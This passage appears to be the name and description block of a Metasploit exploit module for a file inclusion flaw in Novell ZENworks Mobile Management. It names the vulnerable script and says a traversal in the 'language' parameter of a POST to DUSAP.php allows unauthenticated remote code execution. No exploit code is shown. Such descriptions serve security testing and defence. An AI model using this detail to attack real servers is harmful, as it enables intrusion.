'Name' => 'Novell Zenworks Mobile Managment MDM.php Local File Inclusion Vulnerability',
'Description' => %q{
This module exercises a vulnerability in Novel Zenworks Mobile Management's Mobile Device Management component
which can allow unauthenticated remote code execution. Due to a flaw in the MDM.php script's input validation,
remote attackers can both upload and execute code via a directory traversal flaw exposed in the 'language'
parameter of a POST call to DUSAP.php.
